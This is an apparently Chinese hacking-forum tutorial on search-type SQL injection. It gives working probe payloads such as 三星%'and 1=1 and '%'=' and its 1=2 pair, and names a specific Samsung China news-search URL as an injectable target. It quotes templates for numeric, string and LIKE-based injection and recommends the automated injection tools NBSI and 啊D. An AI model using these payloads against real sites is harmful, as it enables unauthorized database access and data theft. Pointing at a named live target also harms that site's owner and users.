简单的判断搜索型注入漏洞存在不存在的办法是先搜索’,如果出错,说明90%存在这个漏洞。然后搜索%,如果正常返回,说明95%有洞了。
然后再搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%’and 1=1 and ‘%’=’和2006%’and 1=2 and ‘%’=’,存在异同的话,就是100%有洞了。
我这里看出有上面说的洞后开始用nbsi来扫,结果总是超时,郁闷,看来要手工来暴需要的信息了。。。

一会再想别的办法吧。。。。。

另外说下,2.3 的啊D支持搜索型的注入方式是:
一般网站的搜索都是部分匹配的

有漏洞的url是http://notebook.samsung.com.cn/news/news.aspx?page=1&type=product&ST=title&SC=

构造注入语句 三星%’and 1=1 and ‘%’=’

      三星%’and 1=2 and ‘%’=’

大家看到了吧 两个返回页面是不一样的 说明有注入的漏洞 特征字 写笔记本 就是三星%’and 1=1 and ‘%’=’ 返回时有的
我们知道一般搜索代码是这么写的:

Select * from 表名where 字段like ’%关键字%’

这样就造成了对关键字前后的所有匹配(%是用来全部匹配的)

这里如果关键字没有过滤的话,就可以这样来构造:

关键字=’and [查询条件] and ‘%25’=’

这样查询就变成

select * from 表名where 字段like ‘%’ and 1=1 and ‘%’=’%’

这样就很好的构成了一个sql注入点,当然用手工也可以,用nbsi也可以~~

注入是不分家的,没必要什么型什么型的!~

如果不信,大家请看下面的《sql注入天书》的原话

第一节、SQL注入的一般步骤

首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。

其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:

(A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:

Select * from 表名where 字段=49

注入的参数为ID=49 And [查询条件],即是生成语句:

Select * from 表名where 字段=49 And [查询条件]
(B) Class=连续剧这类注入的参数是字符型,SQL语句原貌大致概如下:

Select * from 表名where 字段=’连续剧’

注入的参数为Class=连续剧’and [查询条件] and ‘’=’ ,即是生成语句:

Select * from 表名where 字段=’连续剧’and [查询条件] and ‘’=’’

(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:

Select * from 表名where 字段like ’%关键字%’

注入的参数为keyword=’and [查询条件] and ‘%25’=’,即是生成语句:

Select * from 表名where字段like ’%’and [查询条件] and ‘%’=’%’
当然手工是麻烦的

用工具的话,我建议用nbsi的工具比较好,就我感觉只有nbsi结合了这个技术,用别的软体是不能注入的

注入点只要写:

https://www.webshell.cc/news/news.aspx?page=1&type=product&ST=title&SC=%

再加个特征字符就可以了
